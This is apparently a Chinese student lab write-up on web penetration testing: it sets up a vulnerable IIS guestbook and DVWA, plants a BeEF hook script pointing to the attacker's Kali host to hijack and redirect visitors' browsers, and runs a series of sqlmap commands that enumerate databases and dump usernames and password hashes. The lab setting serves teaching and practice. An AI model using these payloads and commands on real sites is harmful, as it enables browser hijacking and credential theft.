网络渗透实验(三)————xss和sql注入(1)

一、实验环境搭建。

角色:留言簿网站。存在XSS漏洞;(IIS或Apache、guestbook搭建)

1、在windows2003搭建一个IIS,在VMware左上角文件-打开-选择解压好的Windows 2003压缩包-双击以.vmx结尾的文件

首先开启Windows的IIS服务,

IIS添加完成后,“开始-设置-控制面板-管理工具-Internet服务管理器(IIS管理器)”打开IIS管理器,配置WEB站点,将guestbook(网站源码)压缩文件解压,在IIS管理器中右键网站新建一个网站一直下一步,路径选择guestbook的路径

勾选以下权限

在新建的网站中右键,属性-主目录-配置-调试-启用那两个选项点击确认后

,点击选项-启用父路径-确认,选择文档-添加-index.php确认后回到IIS管理器

单击“web服务扩展”,按照图示设置允许

配置好之后在浏览器上搜ip/login.html可以进入

(刚刚开始遇到了报错,未经授权,解决方案:给IIS匿名用户访问网站文件夹的权限,方法:进入该文件夹的安全选项,添加IIS匿名用户,赋予权限(我给了everyone))

攻击者:Kali(使用beEF生成恶意代码,并通过留言方式提交到留言簿网站);

被攻击者:访问留言簿网站,浏览器被劫持。

1、利用AWVS扫描留言簿网站(安装见参考文档0.AWVS安装与使用.docx),发现其存在XSS漏洞,截图。

在windows 2003中安装AWVS,安装好之后开始扫描留言簿网站ip/add.asp

导出成report

2、 Kali使用beef生成恶意代码,截图。

kali命令beef-xss

3、访问http://留言簿网站/message.asp;将以下恶意代码写入网站留言板,

<script src="http://Kali的IP地址:3000/hook.js"></script>,截图。

4、管理员登录login.htm,账号密码均为admin,审核用户留言。只要客户端访问这个服务器的留言板,客户端浏览器就会被劫持,指定被劫持网站为学校主页,将你在beff中的配置截图。

客户端访问该网页被劫持后使用beEF中的模块网页重定向(目标浏览器访问你指定的网页)

Redirect Browser

右下角执行后目标主机成功转到目标网页

5、回答问题:实验中XSS攻击属于哪种类型?

 跨站点脚本 (XSS) 攻击

跨站点脚本攻击与 SQL 注入攻击非常相似,尽管它们不是从数据库中提取数据,而是通常用于感染访问该站点的其他用户。一个简单的例子是网页上的评论部分。如果在发布评论之前未过滤用户输入,攻击者可以发布隐藏在页面上的恶意脚本。当用户访问此页面时,脚本将执行并感染他们的设备或用于窃取 cookie,甚至可能用于提取用户的凭据。或者,他们可能只是将用户重定向到恶意网站。

二、SQL注入部分:DVWA+SQLmap+Mysql注入实战

实验环境搭建。启动Metasploitable2虚拟机。

sqlmap -u "http://192.168.2.119:8000/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low;PHPSESSID=l9os5mrhv72ti0pem1irla8i96' -b --current-db --current-user



sqlmap -u "http://192.168.2.119:8000/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low;PHPSESSID=l9os5mrhv72ti0pem1irla8i96' --users --password



sqlmap -u "http://192.168.2.119:8000/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low;PHPSESSID=l9os5mrhv72ti0pem1irla8i96' -D dvwa --tables


sqlmap -u "http://192.168.2.119:8000/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low;PHPSESSID=l9os5mrhv72ti0pem1irla8i96' -D dvwa -T users --columns


sqlmap -u "http://192.168.2.119:8000/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low;PHPSESSID=l9os5mrhv72ti0pem1irla8i96' -D dvwa -T users -C user,password --dump
  sqlmap语法参数:
•	-u :指定目标URL,即注入点
•	--cookies:当前会话的cookies值
•	-b:获取数据库类型,检索数据库管理系统标识
•	--current-db:获取当前数据库
•	--current-user:获取当前登录数据库使用的用户

1、注入点发现。首先肯定是要判断是否有注入漏洞。

在输入框输入1,返回

ID: 1

First name: admin

Surname: admin

返回正常;

再次输入1',报错,返回

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

此时可以断定有SQL注入漏洞,

http://IP地址/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#

下面利用SQLMap进行注入攻击。将DVWA安全级别设置为最低;

发现几次错误都在命令输入错误导致,报错先看命令

2、枚举当前使用的数据库名称和用户名。

命令:

sqlmap -u "URL" --cookie='' -b --current-db --current-user  

Sqlmap输出截图:

3、枚举数据库用户名和密码

命令:

sqlmap -u "URL" --cookie='' --users --password
 

Sqlmap输出截图:

4、枚举数据库

--dbs:枚举当前数据库

你输入的命令:

sqlmap -u "URL" --cookie='  ' --dbs

Sqlmap输出截图:

5、枚举数据库和指定数据库的数据表

 -D 数据库名:指定数据库

--tables:枚举指定数据库的所有表

你输入的命令:

sqlmap -u "URL" --cookie='  '  -D "dvwa"  --tables

Sqlmap输出截图:

6、获取指定数据库和表中所有列的信息

-D:指定数据库(database)

-T:指定数据库中的数据表(tables)

-C:  获取列的信息(columns)

命令:sqlmap -u "URL" --cookie='   ' -D "dvwa" -T user --columns

sqlmap截图:

7、枚举指定数据表中的所有用户名与密码,并down到本地。

-C:枚举数据表中的列

--dump:存储数据表项

命令:sqlmap -u "URL" --cookie=' '  -D "dvwa" -T users -C "user_id, user,password" -dump

Sqlmap输出截图:

查看down到本地的用户名与密码(提示带.的文件夹为隐藏,在图形命令下,用文件浏览器打开文件夹,按下ctrl+h组合键可显示隐藏文件合文件夹,再按一次取消显示。)

  • 38
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值